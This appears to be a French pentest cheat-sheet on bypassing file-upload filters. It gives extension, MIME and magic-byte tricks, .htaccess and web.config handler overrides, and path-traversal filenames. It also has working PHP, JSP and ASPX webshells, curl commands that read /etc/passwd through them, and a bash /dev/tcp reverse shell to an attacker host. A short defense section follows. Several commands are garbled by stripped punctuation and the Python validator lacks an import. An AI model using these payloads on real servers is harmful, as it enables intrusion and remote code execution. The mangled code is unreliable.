file-uploadwebshellrce
MDstable
File Upload Bypass
Contournement des filtres d'upload : extension, MIME type, magic bytes, path traversal, RCE via webshell
snippetadvanced 2026-05-14 5 min read
file-uploadwebshellrcemime-typemagic-bytespath-traversalpentest
Objectif
Uploader un fichier excutable webshell PHP JSP ASPX malgr les filtresExcution de code ct serveur RCEFiltres courantsValidation de lextension php interditValidation du Content-Type image/jpeg attenduValidation des magic bytes signature binaire du fichierRename du fichier luploadStockage hors webroot
Bypass — Extension
bash
# Extensions alternatives PHP (si .php est filtré)shellphp3 shellphp4 shellphp5 shellphp7shellphtml shellpht shellshtml shellphar# Extensions doublesshellphpjpg shellphp00jpg shellphpshellphp shellphp20# Null byte truncation (PHP < 5.3 et certains systèmes)# shell.php%00.jpg → le serveur lit "shell.php" et ignore le reste# Casse mixte (si blacklist insensible à la casse)shellPHP shellPhp shellpHp# Extensions ASP/ASPXshellasp shellaspx shellasa shellasax shellashx shellasmx# JSPshelljsp shelljspx shelljsw shelljsv
Bypass — Content-Type (MIME)
bash
Variables
{{TARGET}}
{{SESSION}}
# Intercepter avec Burp et modifier le Content-Type# Changer : application/octet-stream → image/jpeg (ou image/png, image/gif)# Requête originale :# Content-Disposition: form-data; name="file"; filename="shell.php"# Content-Type: application/octet-stream# Requête modifiée :# Content-Disposition: form-data; name="file"; filename="shell.php"# Content-Type: image/jpeg# Curl avec Content-Type forgécurl -X POST https//{{TARGET}}/upload-H "Cookie: session={{SESSION}}"-F "file=@shell.php;type=image/jpeg"
Bypass — Magic Bytes (signature de fichier)
bash
# Ajouter la signature GIF au début du fichier PHPecho -e 'GIF89a\n<?php system($_GET["cmd"]); ?>' > shellphpgif# → Magic bytes GIF (47 49 46 38 39 61) + code PHP# Signature JPEGprintf '\xff\xd8\xff\xe0' > shellphpecho '<?php system($_GET["cmd"]); ?>' >> shellphp# Renommer shell.php.jpg si nécessaire + Content-Type: image/jpeg# Image valide + code PHP (exiftool)exiftool -Comment='<?php system$_GET"cmd"; > image_legitimejpgcp image_legitimejpg shellphpjpg# → L'image est valide, le code PHP est dans les métadonnées EXIF# Créer une vraie image GIF avec code PHPpython3 << 'EOF'gif_header b"GIF89a\x01\x00\x01\x00\x00\xff\x00,"gif_header b"\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;"php_payload b"<?php system($_GET['cmd']); ?>"with open'shell.gif.php' 'wb' as ffwritegif_header php_payloadEOF
Bypass — .htaccess / web.config
bash
# Si on peut uploader un .htaccess, redéfinir les handlers Apachecat > htaccess << 'EOF'AddType application/x-httpd-php jpg# → tous les .jpg sont maintenant exécutés comme PHPEOF# Uploader .htaccess puis une image légitime (shell.jpg) avec code PHP# Accéder à /uploads/shell.jpg → exécution PHP# IIS — web.configcat > webconfig << 'EOF'<xml version"1.0" encoding"UTF-8"><configuration><systemwebServer><handlers accessPolicy"Read, Script, Write"><add name"web_config" path"*.config" verb"*" modules"IsapiModule"scriptProcessor"%windir%\system32\inetsrv\asp.dll" resourceType"Unspecified" ></handlers><security><requestFiltering><fileExtensions><remove fileExtension".config" ></fileExtensions></requestFiltering></security></system.webServer></configuration>< LanguageVBScript >< ResponseWrite "Shell: " & CreateObject"WScript.Shell"Exec"whoami"StdOutReadAll >EOF
Bypass — Path Traversal dans le nom de fichier
bash
# Nom de fichier avec traversal : uploader dans un répertoire différent# filename="../../shell.php"# filename="../shell.php"# filename="..%2Fshell.php"# Via Burp — modifier le filename dans le form-data# Content-Disposition: form-data; name="file"; filename="..%2F..%2Fshell.php"# Cible : répertoire webroot si uploads est hors webroot# ex: uploads/ est /var/www/uploads/ mais webroot est /var/www/html/# → filename="../../html/shell.php"
Webshells courants
php
<?php system($_GET['cmd']); ?><?php echo shell_exec($_REQUEST['c']); ?><?php @eval($_POST['pass']); ?><?php$cmd = $_REQUEST['cmd'];$output = array();exec($cmd, $output);echo implode("\n", $output);?>
jsp
<!-- JSP webshell --><% Runtime.getRuntime().exec(request.getParameter("cmd")); %><%String cmd = request.getParameter("cmd");Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});out.println(new java.util.Scanner(p.getInputStream()).useDelimiter("\\A").next());%>
aspx
<!-- ASPX webshell --><%@ Page Language="C#" %><%string cmd = Request.QueryString["cmd"];System.Diagnostics.Process p = new System.Diagnostics.Process();p.StartInfo.FileName = "cmd.exe";p.StartInfo.Arguments = "/c " + cmd;p.StartInfo.UseShellExecute = false;p.StartInfo.RedirectStandardOutput = true;p.Start();Response.Write(p.StandardOutput.ReadToEnd());%>
Exécution et post-upload
bash
Variables
{{TARGET}}
{{LHOST}}
{{LPORT}}
# Trouver l'URL du fichier uploadé# Souvent dans la réponse JSON ou un header Location# Tester : /uploads/shell.php, /files/shell.php, /media/shell.php# Exécuter une commandecurl "https://{{TARGET}}/uploads/shell.php?cmd=id"curl "https://{{TARGET}}/uploads/shell.php?cmd=whoami"curl "https://{{TARGET}}/uploads/shell.php?cmd=cat+/etc/passwd"# Reverse shell via la webshellcurl "https://{{TARGET}}/uploads/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/{{LHOST}}/{{LPORT}}+0>%261'"# Listenernc -lvnp {{LPORT}}
Défense
python
# Validation stricte côté serveur (Python)import magic # python-magic — vérifie les magic bytes réelsimport osALLOWED_MIME_TYPES = {'image/jpeg', 'image/png', 'image/gif', 'image/webp'}ALLOWED_EXTENSIONS = {'.jpg', '.jpeg', '.png', '.gif', '.webp'}MAX_SIZE = 5 * 1024 * 1024 # 5 MBdef validate_upload(file) -> None:# 1. Vérifier la taillefile.seek(0, 2)if file.tell() > MAX_SIZE:raise ValueError("Fichier trop grand")file.seek(0)# 2. Vérifier les magic bytes réels (pas le Content-Type du client)mime = magic.from_buffer(file.read(2048), mime=True)if mime not in ALLOWED_MIME_TYPES:raise ValueError(f"Type MIME non autorisé: {mime}")file.seek(0)# 3. Vérifier l'extension (double couche)ext = os.path.splitext(file.filename)[1].lower()if ext not in ALLOWED_EXTENSIONS:raise ValueError(f"Extension non autorisée: {ext}")# 4. Renommer le fichier avec un nom aléatoiresafe_name = secrets.token_hex(16) + extreturn safe_name
nginx
# Nginx — bloquer l'exécution dans le dossier uploadslocation /uploads/ {# Désactiver l'exécution de scripts dans ce dossierlocation ~ \.(php|php3|phtml|phar|pl|cgi|py|asp|aspx|jsp)$ {deny all;return 403;}}
Mesures complmentairesStocker les uploads HORS du webrootServir les fichiers via un endpoint ddi pas daccs URL directReprocesser les images re-encode via PIL/Pillow efface les mtadonnes et code injectRenommer tous les fichiers uploads UUID alatoireDsactiver lexcution PHP/CGI dans le dossier uploadsUtiliser un CDN ou bucket S3 pour servir les fichiers pas dexcution possible
⚠ Attention —
La validation côté client (JavaScript, accept="image/*") n'offre aucune sécurité — elle est bypassable en 5 secondes avec Burp. La validation MIME via Content-Type (fourni par le client) est également insuffisante. Seule la validation des magic bytes côté serveur avec une librairie comme python-magic (libmagic) est fiable.
OPS·BRAIN v1.075 notes · Securitylocal